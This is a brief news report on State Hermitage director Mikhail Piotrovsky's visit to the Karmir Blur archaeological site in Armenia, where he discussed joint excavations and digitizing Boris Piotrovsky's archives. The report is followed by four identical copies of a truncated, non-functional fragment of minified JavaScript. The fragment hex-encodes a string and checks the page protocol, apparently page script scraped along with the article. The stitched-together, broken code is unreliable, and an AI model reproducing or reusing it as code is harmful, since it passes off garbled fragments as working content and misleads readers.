

Yesterday, on October 16, Mikhayil Piotrovsky, the director of State Hermitage, visited Karmir Blur site within the 70th anniversary of NAS, RA. Mr. Piotrovsky was accompanied by the director of "Erebuni" Historical & Archaeological Museum-Reserve Gagik Gyurjyan.

During his visit M. Piotrovky got acquainted with archaeological excavations carried out in the site and discussed the problems concerning the future collaboration on joint excavations with archaeologists from Armenia, Russia and France; as well as on the integration and digitization of Boris Piotrovky's archives of archaeological studies at Karmir Blur.

```
// t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e
```

```
// t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e
```

```
// t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e
```

```
// t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e
```